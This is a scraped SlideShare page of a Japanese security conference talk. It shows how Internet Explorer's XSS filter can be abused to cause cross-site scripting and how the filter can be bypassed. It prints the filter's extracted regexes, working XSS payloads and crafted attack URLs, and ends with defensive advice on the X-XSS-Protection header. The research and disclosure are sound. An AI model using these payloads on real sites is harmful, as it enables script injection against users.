Successfully reported this slideshow.
X-XSS-Nightmare: 1; mode=attack
XSSフィルターを
利用したXSS攻撃
Masato Kinugawa
自己紹介
Masato Kinugawa
自己紹介
Masato Kinugawa
x
s
自己紹介
Masato Kinugawa
x
s
B
バグハンターの愉しみ
自己紹介
話すこと
IEのXSSフィルターを使って
❶XSSする手法
❷XSSフィルターをバイパスする手法
XSSフィルター
Internet Explorer 8から導入(2009)
Chrome/Safariにも同様の機能
IEのXSSフィルター基本
http://example.com/?q=<img+src=x+onerror=alert(1)>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
</he...
こんなふうに#
http://example.com/?q=<img+src=x+onerror=alert(1)>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
</head>
<b...
危険と判断される条件
特に文書化されていない
ブラウザにロードされるdllのバイナリに遮断文字列が
正規表現で書かれているのが確認できる
このスライドで紹介する正規表現はここから
XSSフィルターの不正確さ
条件にマッチすればユーザ入力の動的生成部と
無関係の位置にある文字列でも書き換えてしまう
http://example.com/?q=AAA&<meta+charset=
<!DOCTYPE html>
<html>...
Nightmare: 1
style属性からのJS実行
<p style="x:expression(alert(1))">
<p style="behavior:url(script.sct)">
expression() または behavior で可能
style属性の記述法いろいろ
<p style="x=expression(alert(1))">
コロンの代わりにイコール(互換モードのみ動作)
<p style="x:expression0028alert(1)0029">
<p sty...
style属性部の
フィルターの正規表現
[ /+t"'`]style[ /+t]*?
=.*?([:=]|(&[#()[].]x?0*((58)|(3A)|
(61)|(3D));?)).*?([(]|(&[#()[].]x?
0*((40)...
[ /+t"'`]style[ /+t]*?
=.*?([:=]|(&[#()[].]x?0*((58)|(3A)|
(61)|(3D));?)).*?([(]|(&[#()[].]x?
0*((40)|(28)|(92)|(5C));?))
...
[ /+t"'`]style[ /+t]*?
=.*?([:=]|(&[#()[].]x?0*((58)|(3A)|
(61)|(3D));?)).*?([(]|(&[#()[].]x?
0*((40)|(28)|(92)|(5C));?))
...
[ /+t"'`]style[ /+t]*?
=.*?([:=]|(&[#()[].]x?0*((58)|(3A)|
(61)|(3D));?)).*?([(]|(&[#()[].]x?
0*((40)|(28)|(92)|(5C));?))
...
[ /+t"'`]style[ /+t]*?
=.*?([:=]|(&[#()[].]x?0*((58)|(3A)|
(61)|(3D));?)).*?([(]|(&[#()[].]x?
0*((40)|(28)|(92)|(5C));?))
...
ここに注目
[ /+t"'`]style[ /+t]*?
=.*?([:=]|(&[#()[].]x?0*((58)|(3A)|
(61)|(3D));?)).*?([(]|(&[#()[].]x?
0*((40)|(28)|(92)|(5C)...
空白部分をくわしく
URL: ?/style+=:
/styleA=:
次のようなリクエストに対して
以下が出力されるとき
XSSフィルターはどう反応するか?
空白部分をくわしく
"style"と=の間に1文字
URL: ?/style+=:
/st#leA=:
次のようなリクエストに対して
以下が出力されるとき
Matched!
空白部分をくわしく
2文字
URL: ?/style+=:
/st#leAA=:
次のようなリクエストに対して
以下が出力されるとき
Matched!
空白部分をくわしく
3文字
URL: ?/style+=:
/st#leAAA=:
次のようなリクエストに対して
以下が出力されるとき
Matched!
空白部分をくわしく
4文字
URL: ?/style+=:
/st#leAAAA=:
次のようなリクエストに対して
以下が出力されるとき
Matched!
空白部分をくわしく
5文字
URL: ?/style+=:
/st#leAAAAA=:
次のようなリクエストに対して
以下が出力されるとき
Matched!
空白部分をくわしく
6文字
URL: ?/style+=:
/st#leAAAAAA=:
次のようなリクエストに対して
以下が出力されるとき
Matched!
空白部分をくわしく
7文字
URL: ?/style+=:
/styleAAAAAAA=:
次のようなリクエストに対して
以下が出力されるとき
スルー
空白部分をくわしく
0文字だと
URL: ?/style+=:
/st#le=:
次のようなリクエストに対して
以下が出力されるとき
Matched!
つまり
URL: ?/style+=:
/st#le=:
/st#leA=:
/st#leAA=:
/st#leAAA=:
/st#leAAAA=:
/st#leAAAAA=:
/st#leAAAAAA=:
/styleAAAAAAA=:
=U...
++にすると
URL: ?/style++=:
/st#leAAAAAAA=:
7文字にもマッチ
Matched!
0-6バイトの幅
u000A (6バイト)

 (6バイト)
文字が削除された場合と置換された
場合を考慮か
この幅は文字(バイト)によって変わる
例えば / だと0-3バイト幅になる
URL: ?/style/=:
/st#le=:
/st#leA=:
/st#leAA=:
/st#leAAA=:
/styleAAAA=:
/styleAAAAA=:
/styleAAAAAA=:
/st...
最後のバックスラッシュ
URL: ?/style=:
/st#le=:
/st#le=:aaa
HTML中には含まれていなくても反応
style属性の正しい遮断例
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<style>
body{background:gold}
</style>
</head>
<body>
...
style属性の正しい遮断例
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<style>
body{background:gold}
</style>
</head>
<body>
...
[ /+t"'`]style[ /+t]*?
=.*?([:=]|(&[#()[].]x?0*((58)|(3A)|
(61)|(3D));?)).*?([(]|(&[#()[].]x?
0*((40)|(28)|(92)|(5C));?))
...
[ /+t"'`]style[ /+t]*?
=.*?([:=]|(&[#()[].]x?0*((58)|(3A)|
(61)|(3D));?)).*?([(]|(&[#()[].]x?
0*((40)|(28)|(92)|(5C));?))
...
[ /+t"'`]style[ /+t]*?
=.*?([:=]|(&[#()[].]x?0*((58)|(3A)|
(61)|(3D));?)).*?([(]|(&[#()[].]x?
0*((40)|(28)|(92)|(5C));?))
...
[ /+t"'`]style[ /+t]*?
=.*?([:=]|(&[#()[].]x?0*((58)|(3A)|
(61)|(3D));?)).*?([(]|(&[#()[].]x?
0*((40)|(28)|(92)|(5C));?))
...
[ /+t"'`]style[ /+t]*?
=.*?([:=]|(&[#()[].]x?0*((58)|(3A)|
(61)|(3D));?)).*?([(]|(&[#()[].]x?
0*((40)|(28)|(92)|(5C));?))
...
[ /+t"'`]style[ /+t]*?
=.*?([:=]|(&[#()[].]x?0*((58)|(3A)|
(61)|(3D));?)).*?([(]|(&[#()[].]x?
0*((40)|(28)|(92)|(5C));?))
...
[ /+t"'`]style[ /+t]*?
=.*?([:=]|(&[#()[].]x?0*((58)|(3A)|
(61)|(3D));?)).*?([(]|(&[#()[].]x?
0*((40)|(28)|(92)|(5C));?))
...
[ /+t"'`]style[ /+t]*?
=.*?([:=]|(&[#()[].]x?0*((58)|(3A)|
(61)|(3D));?)).*?([(]|(&[#()[].]x?
0*((40)|(28)|(92)|(5C));?))
...
[ /+t"'`]style[ /+t]*?
=.*?([:=]|(&[#()[].]x?0*((58)|(3A)|
(61)|(3D));?)).*?([(]|(&[#()[].]x?
0*((40)|(28)|(92)|(5C));?))
...
今度はフィルターをだます
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<style>
body{background:gold}
</style>
</head>
<body>
<i...
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<style>
body{background:gold}
</style>
</head>
<body>
<input name="q"...
<style>
body{background:gold}
</style>
</head>
<body>
<input name="q" value="&quot;&lt;&gt;">
</body>
</html>
[ /+t"'`]sty...
<style>
body{background:gold}
</style>
</head>
<body>
<input name="q" value="&quot;&lt;&gt;">
</body>
</html>
[ /+t"'`]sty...
<style>
body{background:gold}
</style>
</head>
<body>
<input name="q" value="&quot;&lt;&gt;">
</body>
</html>
[ /+t"'`]sty...
<style>
body{background:gold}
</style>
</head>
<body>
<input name="q" value="&quot;&lt;&gt;">
</body>
</html>
[ /+t"'`]sty...
<style>
body{background:gold}
</style>
</head>
<body>
<input name="q" value="&quot;&lt;&gt;">
</body>
</html>
[ /+t"'`]sty...
<style>
body{background:gold}
</style>
</head>
<body>
<input name="q" value="&quot;&lt;&gt;">
</body>
</html>
[ /+t"'`]sty...
<style>
body{background:gold}
</style>
</head>
<body>
<input name="q" value="&quot;&lt;&gt;">
</body>
</html>
[ /+t"'`]sty...
[ /+t"'`]style[ /+t]*?
=.*?([:=]|(&[#()[].]x?0*((58)|(3A)|
(61)|(3D));?)).*?([(]|(&[#()[].]x?
0*((40)|(28)|(92)|(5C));?))
...
[ /+t"'`]style[ /+t]*?
=.*?([:=]|(&[#()[].]x?0*((58)|(3A)|
(61)|(3D));?)).*?([(]|(&[#()[].]x?
0*((40)|(28)|(92)|(5C));?))
...
[ /+t"'`]style[ /+t]*?
=.*?([:=]|(&[#()[].]x?0*((58)|(3A)|
(61)|(3D));?)).*?([(]|(&[#()[].]x?
0*((40)|(28)|(92)|(5C));?))
...
[ /+t"'`]style[ /+t]*?
=.*?([:=]|(&[#()[].]x?0*((58)|(3A)|
(61)|(3D));?)).*?([(]|(&[#()[].]x?
0*((40)|(28)|(92)|(5C));?))
...
[ /+t"'`]style[ /+t]*?
=.*?([:=]|(&[#()[].]x?0*((58)|(3A)|
(61)|(3D));?)).*?([(]|(&[#()[].]x?
0*((40)|(28)|(92)|(5C));?))
...
[ /+t"'`]style[ /+t]*?
=.*?([:=]|(&[#()[].]x?0*((58)|(3A)|
(61)|(3D));?)).*?([(]|(&[#()[].]x?
0*((40)|(28)|(92)|(5C));?))
...
[ /+t"'`]style[ /+t]*?
=.*?([:=]|(&[#()[].]x?0*((58)|(3A)|
(61)|(3D));?)).*?([(]|(&[#()[].]x?
0*((40)|(28)|(92)|(5C));?))
...
</st#le>
What will happen?
<style>
body{background:gold}
</style>
</head>
<body>
<input name="q" value="">
...
URL: ?/style++++++=++=
本来のstyle要素の範囲
<style>
body{background:gold}
</st#le>
</head>
<body>
<input name="q" value="">
...
URL: ?/style++++++=++=
遮断後のstyle要素の
範囲
<style>
body{background:gold}
</st#le>
</head>
<body>
<input name="q" value="
{}*{x:expression(alert(1))}">
URL:
?q=%0A{}*...
<style>
body{background:gold}
</st#le>
</head>
<body>
<input name="q" value="
{}*{x:expression(alert(1))}">
URL:
?q=%0A{}*...
Nightmare: 2
javascript:リンクの遮断の正規表現
{(j|(&[#()[].]x?0*((74)|(4A)|(106)|(6A));?))([t]|(&(([#()[].]x?0
*(9|(13)|(10)|A|D);?)|(tab;)|(newl...
みやすく
(j|(&[#()[].]x?0*((74)|(4A)|(106)|(6A));?))
([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new
line;))))*
(a|(&[#(...
みやすく
(j|(&[#()[].]x?0*((74)|(4A)|(106)|(6A));?))
([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new
line;))))*
(a|(&[#(...
みやすく
(j|(&[#()[].]x?0*((74)|(4A)|(106)|(6A));?))
([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new
line;))))*
(a|(&[#(...
みやすく
(j|(&[#()[].]x?0*((74)|(4A)|(106)|(6A));?))
([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new
line;))))*
(a|(&[#(...
みやすく
(j|(&[#()[].]x?0*((74)|(4A)|(106)|(6A));?))
([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new
line;))))*
(a|(&[#(...
みやすく
(j|(&[#()[].]x?0*((74)|(4A)|(106)|(6A));?))
([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new
line;))))*
(a|(&[#(...
みやすく
(j|(&[#()[].]x?0*((74)|(4A)|(106)|(6A));?))
([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new
line;))))*
(a|(&[#(...
またフィルターをだます
<script type="text/javascript">a=1</script>
<script>
var q="[USER_INPUT]";
</script>
ユーザーが指定した文字列が格納されるとする
(※話...
またフィルターをだます
<script type="text/javascript">a=1</script>
<script>
var q="</script>"";
</script>
XSS対策も適切!
またフィルターをだます
<script type="text/javascript">a=1</script>
<script>
var q=":<img src=x onerror=alert(1)>";
</script>
こんな文字列が攻...
<script type="text/javascript">a=1</script>
<script>
var q=":<img src=x onerror=alert(1)>";
</script>
URL: ?java%0A%0A%0A%...
<script type="text/javascript">a=1</script>
<script>
var q=":<img src=x onerror=alert(1)>";
</script>
URL: ?java%0A%0A%0A%...
<script type="text/javascript">a=1</script>
<script>
var q=":<img src=x onerror=alert(1)>";
</script>
URL: ?java%0A%0A%0A%...
<script type="text/javascript">a=1</script>
<script>
var q=":<img src=x onerror=alert(1)>";
</script>
URL: ?java%0A%0A%0A%...
<script type="text/javascript">a=1</script>
<script>
var q=":<img src=x onerror=alert(1)>";
</script>
URL: ?java%0A%0A%0A%...
<script type="text/javascript">a=1</script>
<script>
var q=":<img src=x onerror=alert(1)>";
</script>
URL: ?java%0A%0A%0A%...
<script type="text/javascript">a=1</script>
<script>
var q=":<img src=x onerror=alert(1)>";
</script>
URL: ?java%0A%0A%0A%...
<script type="text/javascript">a=1</script>
<sc#ipt>
var q=":<img src=x onerror=alert(1)>";
</script>
URL: ?java%0A%0A%0A%...
<sc#ipt>
What will happen?
<script type="text/javascript">a=1</script>
<sc#ipt>
var q=":<img src=x onerror=alert(1)>";
</script>
URL: ?java%0A%0A%0A%...
<script type="text/javascript">a=1</script>
<sc#ipt>
var q=":<img src=x onerror=alert(1)>";
</script>
URL: ?java%0A%0A%0A%...
Nightmare: 3
<body>
<script>
var q="";abc.def=";
</script>
</body>
URL: ?q=";abc.def=
リテラルから抜ける文字 &
プロパティアクセスからの代入
というような形で
正しいフィルター例(文...
<body>
<script>
var q="";abc#def=";
</script>
</body>
URL: ?q=";abc.def=
ドットの部分を書き換えて遮断
正しいフィルター例(文字列リテラル)
["'][ ]*
(([^a-z0-9~_:'" ])|(in))
.+?[.].+?=
文字列リテラル部の
フィルターの正規表現
["'][ ]*
(([^a-z0-9~_:'" ])|(in))
.+?[.].+?=
<body>
<script>
var q="";abc.def=";
</script>
</body>
URL: ?q=";abc.def=
Matc...
またまたフィルターをだます
<script
src="//example.co.jp/test.js"
type="text/javascript">
</script>
単に外部スクリプトをロード
しているだけのコードがあるとする
["'][ ]*
(([^a-z0-9~_:'" ])|(in))
.+?[.].+?=
<script
src="//example.co.jp/test.js"
type="text/javascript">
</script>
URL: ?
["'][ ]*
(([^a-z0-9~_:'" ])|(in))
.+?[.].+?=
<script
src="//example.co.jp/test.js"
type="text/javascript">
</script>
URL: ...
["'][ ]*
(([^a-z0-9~_:'" ])|(in))
.+?[.].+?=
<script
src="//example.co.jp/test.js"
type="text/javascript">
</script>
URL: ...
["'][ ]*
(([^a-z0-9~_:'" ])|(in))
.+?[.].+?=
<script
src="//example.co.jp/test.js"
type="text/javascript">
</script>
URL: ...
["'][ ]*
(([^a-z0-9~_:'" ])|(in))
.+?[.].+?=
<script
src="//example.co.jp/test.js"
type="text/javascript">
</script>
URL: ...
["'][ ]*
(([^a-z0-9~_:'" ])|(in))
.+?[.].+?=
<script
src="//example.co.jp/test.js"
type="text/javascript">
</script>
URL: ...
["'][ ]*
(([^a-z0-9~_:'" ])|(in))
.+?[.].+?=
<script
src="//example.co.jp/test.js"
type="text/javascript">
</script>
URL: ...
["'][ ]*
(([^a-z0-9~_:'" ])|(in))
.+?[.].+?=
<script
src="//example.co.jp/test.js"
type="text/javascript">
</script>
URL: ...
["'][ ]*
(([^a-z0-9~_:'" ])|(in))
.+?[.].+?=
<script
src="//example.co#jp/test.js"
type="text/javascript">
</script>
URL: ...
<script
src="//example.co#jp/test.js"
type="text/javascript">
</script>
What will happen?
<script
src="//example.co#jp/test.js"
type="text/javascript">
</script>
example.co.jp ではなく
example.co のスクリプトをロード!
<script
src="//example.co#jp/test.js"
type="text/javascript">
</script>
["'][ ]*(([^a-z0-9~_:'" ])|(in))
.+?[.].+?=
...
<link rel="stylesheet"
href="../1.css">
<link rel="stylesheet"
href="../2....
["'][ ]*(([^a-z0-9~_:'" ])|(in))
.+?[.].+?=
...
<link rel="stylesheet"
href="../1.css">
<link rel="stylesheet"
href="../2....
["'][ ]*(([^a-z0-9~_:'" ])|(in))
.+?[.].+?=
...
<link rel="stylesheet"
href="#./1.css">
<link rel="stylesheet"
href="../2....
<link
rel="stylesheet"
href="#./1.css">
What will happen?
["'][ ]*(([^a-z0-9~_:'" ])|(in))
.+?[.].+?=
...
<link rel="stylesheet"
href="#./1.css">
<link rel="stylesheet"
href="../2....
["'][ ]*(([^a-z0-9~_:'" ])|(in))
.+?[.].+?=
...
<link rel="stylesheet"
href="#./1.css">
<link rel="stylesheet"
href="../2....
["'][ ]*(([^a-z0-9~_:'" ])|(in))
.+?[.].+?=
...
<link rel="stylesheet"
href="#./1.css">
<link rel="stylesheet"
href="../2....
Nightmare: 4
Bypass 1: expression()
<p style=v:expression&bx28;alert&bx28;1))>s:
URL:
?q=<p+style=v:expression%26bx28%3Balert%26b
x28%3...
Bypass 1: expression()
<p style=v:expression&bx28;alert&bx28;1))>s:
ここに何かいる!
URL:
?q=<p+style=v:expression%26bx28%3Balert%...
そう、vbs:とvbscript:も遮断対象
(v|(&[#()[].]x?0*((86)|(56)|(118)|(76));?))([t]|(&(([#
()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newli...
Bypass 1: expression()
<p style=v:expression&bx28;alert&bx28;1))>s:
URL:
?q=<p+style=v:expression%26bx28%3Balert%26b
x28%3...
Bypass 1: expression()
<p style=v:expression(alert&bx28;1))>s:
URL:
?q=<p+style=v:expression%26bx28%3Balert%26b
x28%3B1))>...
Bypass 1: expression()
<p style=v:expression(alert&bx28;1))>s:
URL:
?q=<p+style=v:expression%26bx28%3Balert%26b
x28%3B1))>...
Bypass 1: expression()
<p style=v:expression(alert(1))>s:
URL:
?q=<p+style=v:expression%26bx28%3Balert%26b
x28%3B1))>s:&v%...
Bypass 1: expression()
<p style=v:expression(alert(1))>s:
URL:
?q=<p+style=v:expression%26bx28%3Balert%26b
x28%3B1))>s:&v%...
Bypass 2: <a folder>
https://html5sec.org/#36
<a folder="javascript:alert(1)"
style="behavior:url(#default#Anch
orClick)">...
Bypass 2: <a folder>
URL:
?q=<a+folder="jav%26bx41%3Bscript:alert(1)"
+style="behavior:url%26bx28%3B%23default%23
AnchorCl...
Bypass 2: <a folder>
URL:
?q=<a+folder="jav%26bx41%3Bscript:alert(1)"
+style="behavior:url%26bx28%3B%23default%23
AnchorCl...
Bypass 2: <a folder>
URL:
?q=<a+folder="jav%26bx41%3Bscript:alert(1)"
+style="behavior:url%26bx28%3B%23default%23
AnchorCl...
http://l0.cm/xxn/
全ての手法を試せるページ
紹介しきれなかったものも含む
Overcome the
Nightmare
X-XSS-Protectionヘッダ
値 効果
0 無効
1
有効
(部分的書き換え)
1;mode=block
有効
(表示の完全な停止)
デフォルト
XSS保護機能を制御できるレスポンスヘッダ
デフォルトが部分的書き換え
問題箇所以外ページを変化させないで遮断
開発者にとってありがたい話のようにみえる
でもこの動作こそ
➡サイト管理者はどうすべき?
紹介した手法のような攻撃の可能性をもたらす
Y
慎重な彼らはどうしている?
HTTP/2.0 200 OK
Date: Mon, 19 Oct 2015 22:32:06 GMT
Content-Type: text/html; charset=UTF-8
Content-Encoding: gzip
Server: ...
HTTP/1.1 200 OK
Content-Encoding: gzip
Content-Type: text/html
Date: Mon, 19 Oct 2015 22:40:37 GMT
x-content-type-options:...
より安全を考えた選択
値 選択すべきサイト
0
基本的なXSSは対応している
/誤検知をなくしたい
1
推奨しない
(この手法の影響を受けるのもココ)
1;mode
=block
XSSがまだありそう
/念のため保護も受けたい
default
...
mode=blockなら安全?
直接スクリプト実行に繋がることはないはず
フィルターの恩恵の方が大きいと僕は考える
遮断時の特徴を外から検出できれば
ページ内容を推測できる可能性はありうる
この可能性はゼロにはできないだろう
一方で
何もつけない選択がしたい?
なら、次のことをしてください!
これができるなら
そもそも普通のXSS脆弱性作りこまないだろ!
✔ XSSフィルターの遮断動作を全て把握
✔ 部分的に書き換わっても安全に動作すること
を全てのページで検証
✔ 危険な...
実のところ
意図的に誤検知を生じさせて、
特定の機能を動作させないよ
うにすることも、場合によっ
ては可能です。(略) XSSフィ
ルタの作者が、この種の危険
性を認識しつつもXSSフィル
タを導入したのか(あるいは
そうではないのか)、ちょっ...
実のところ
ブラウザ側も危険性を認識した上で導入
以下は6年前の寺田さんとはせがわさんのやりとり
http://b.hatena.ne.jp/entry/14131603/comment/hasegawayosuke
中の人は "The ans...
さいごに
まだ安全側に倒す余地はあるはず
デフォルト動作が今のままで本当にいいのか
遮断の原理上、リスクはつきもの
Web開発者はその可能性を知ってほしい
デフォルト動作以外で制御することを強く推奨
XSSフィルターの改善には期待したい
";alert#"Thanks!"#//
@kinugawamasato
masatokinugawa@gmail#com
http://l0.cm/xxn/DEMO
Nächste SlideShare
Wird geladen in …5
×

X-XSS-Nightmare: 1; mode=attack ~XSSフィルターを利用したXSS攻撃~

14.471 Aufrufe

Veröffentlicht am

セキュリティカンファレンス、CODE BLUE 2015で発表する"予定だった"資料です。
2015/12: 一部の問題がまだ修正されていないので、非公開の部分があります。
2016/12: 完全版を公開しました。Nightmare 2 と4が新たに公開した部分です。

Veröffentlicht in: Technologie
  • Als Erste(r) kommentieren

X-XSS-Nightmare: 1; mode=attack ~XSSフィルターを利用したXSS攻撃~

  1. 1. X-XSS-Nightmare: 1; mode=attack XSSフィルターを 利用したXSS攻撃 Masato Kinugawa
  2. 2. 自己紹介 Masato Kinugawa
  3. 3. 自己紹介 Masato Kinugawa x s
  4. 4. 自己紹介 Masato Kinugawa x s B
  5. 5. バグハンターの愉しみ 自己紹介
  6. 6. 話すこと IEのXSSフィルターを使って ❶XSSする手法 ❷XSSフィルターをバイパスする手法
  7. 7. XSSフィルター Internet Explorer 8から導入(2009) Chrome/Safariにも同様の機能
  8. 8. IEのXSSフィルター基本 http://example.com/?q=<img+src=x+onerror=alert(1)> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> </head> <body> q param is: <img src=x onerror=alert(1)> </body> </html> リクエストの値とレスポンスから、危険と判断 される条件にマッチすればページを書き換える 遮断前
  9. 9. こんなふうに# http://example.com/?q=<img+src=x+onerror=alert(1)> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> </head> <body> q param is: <img src=x #nerror=alert(1)> </body> </html> 遮断後 リクエストの値とレスポンスから、危険と判断 される条件にマッチすればページを書き換える
  10. 10. 危険と判断される条件 特に文書化されていない ブラウザにロードされるdllのバイナリに遮断文字列が 正規表現で書かれているのが確認できる このスライドで紹介する正規表現はここから
  11. 11. XSSフィルターの不正確さ 条件にマッチすればユーザ入力の動的生成部と 無関係の位置にある文字列でも書き換えてしまう http://example.com/?q=AAA&<meta+charset= <!DOCTYPE html> <html> <head> <m#ta charset="utf-8"> </head> <body> q param is: AAA </body> </html>
  12. 12. Nightmare: 1
  13. 13. style属性からのJS実行 <p style="x:expression(alert(1))"> <p style="behavior:url(script.sct)"> expression() または behavior で可能
  14. 14. style属性の記述法いろいろ <p style="x=expression(alert(1))"> コロンの代わりにイコール(互換モードのみ動作) <p style="x:expression0028alert(1)0029"> <p style="x:expression(alert(1))"> CSSのUnicodeエスケープ 数値文字参照
  15. 15. style属性部の フィルターの正規表現 [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?))
  16. 16. [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) 属性の区切りがきて、 style属性部の フィルターの正規表現
  17. 17. [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) style= がきて、 style属性部の フィルターの正規表現
  18. 18. [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) コロン か イコール がきて、 style属性部の フィルターの正規表現
  19. 19. [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) 左カッコ か バックスラッシュ が でてきたら遮断、みたいなかんじ style属性部の フィルターの正規表現
  20. 20. ここに注目 [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) "style"の後に 空白相当の文字 が0文字以上 入っても遮断 [0x09-0x0D] OR [0x20] OR / OR +
  21. 21. 空白部分をくわしく URL: ?/style+=: /styleA=: 次のようなリクエストに対して 以下が出力されるとき XSSフィルターはどう反応するか?
  22. 22. 空白部分をくわしく "style"と=の間に1文字 URL: ?/style+=: /st#leA=: 次のようなリクエストに対して 以下が出力されるとき Matched!
  23. 23. 空白部分をくわしく 2文字 URL: ?/style+=: /st#leAA=: 次のようなリクエストに対して 以下が出力されるとき Matched!
  24. 24. 空白部分をくわしく 3文字 URL: ?/style+=: /st#leAAA=: 次のようなリクエストに対して 以下が出力されるとき Matched!
  25. 25. 空白部分をくわしく 4文字 URL: ?/style+=: /st#leAAAA=: 次のようなリクエストに対して 以下が出力されるとき Matched!
  26. 26. 空白部分をくわしく 5文字 URL: ?/style+=: /st#leAAAAA=: 次のようなリクエストに対して 以下が出力されるとき Matched!
  27. 27. 空白部分をくわしく 6文字 URL: ?/style+=: /st#leAAAAAA=: 次のようなリクエストに対して 以下が出力されるとき Matched!
  28. 28. 空白部分をくわしく 7文字 URL: ?/style+=: /styleAAAAAAA=: 次のようなリクエストに対して 以下が出力されるとき スルー
  29. 29. 空白部分をくわしく 0文字だと URL: ?/style+=: /st#le=: 次のようなリクエストに対して 以下が出力されるとき Matched!
  30. 30. つまり URL: ?/style+=: /st#le=: /st#leA=: /st#leAA=: /st#leAAA=: /st#leAAAA=: /st#leAAAAA=: /st#leAAAAAA=: /styleAAAAAAA=: =URLの+部分 HTML中の任意の 0-6バイトに該当
  31. 31. ++にすると URL: ?/style++=: /st#leAAAAAAA=: 7文字にもマッチ Matched!
  32. 32. 0-6バイトの幅 u000A (6バイト) (6バイト) 文字が削除された場合と置換された 場合を考慮か この幅は文字(バイト)によって変わる
  33. 33. 例えば / だと0-3バイト幅になる URL: ?/style/=: /st#le=: /st#leA=: /st#leAA=: /st#leAAA=: /styleAAAA=: /styleAAAAA=: /styleAAAAAA=: /styleAAAAAAA=:
  34. 34. 最後のバックスラッシュ URL: ?/style=: /st#le=: /st#le=:aaa HTML中には含まれていなくても反応
  35. 35. style属性の正しい遮断例 <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <style> body{background:gold} </style> </head> <body> <input name="q" value="[XSS_HERE]"> </body> </html> URL: ?q=[XSS_HERE] こんな場面では、
  36. 36. style属性の正しい遮断例 <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <style> body{background:gold} </style> </head> <body> <input name="q" value=""style="x:expression(alert(1))"> </body> </html> URL: ?q="style="x:expression(alert(1)) こんなふうに攻撃できるが、 フィルターがあれば…
  37. 37. [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) ... <style> body{background:gold} </style> </head> <body> <input name="q" value=""style="x:expression(alert(1))"> ... URL: ?q⁼"style="x:expression(alert(1))
  38. 38. [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) ... <style> body{background:gold} </style> </head> <body> <input name="q" value=""style="x:expression(alert(1))"> ... URL: ?q⁼"style="x:expression(alert(1))
  39. 39. [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) ... <style> body{background:gold} </style> </head> <body> <input name="q" value=""style="x:expression(alert(1))"> ... URL: ?q⁼"style="x:expression(alert(1))
  40. 40. [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) ... <style> body{background:gold} </style> </head> <body> <input name="q" value=""style="x:expression(alert(1))"> ... URL: ?q⁼"style="x:expression(alert(1))
  41. 41. [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) ... <style> body{background:gold} </style> </head> <body> <input name="q" value=""style="x:expression(alert(1))"> ... URL: ?q⁼"style="x:expression(alert(1))
  42. 42. [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) ... <style> body{background:gold} </style> </head> <body> <input name="q" value=""style="x:expression(alert(1))"> ... URL: ?q⁼"style="x:expression(alert(1))
  43. 43. [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) ... <style> body{background:gold} </style> </head> <body> <input name="q" value=""style="x:expression(alert(1))"> ... URL: ?q⁼"style="x:expression(alert(1))
  44. 44. [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) ... <style> body{background:gold} </style> </head> <body> <input name="q" value=""style="x:expression(alert(1))"> ... URL: ?q⁼"style="x:expression(alert(1)) Matched!
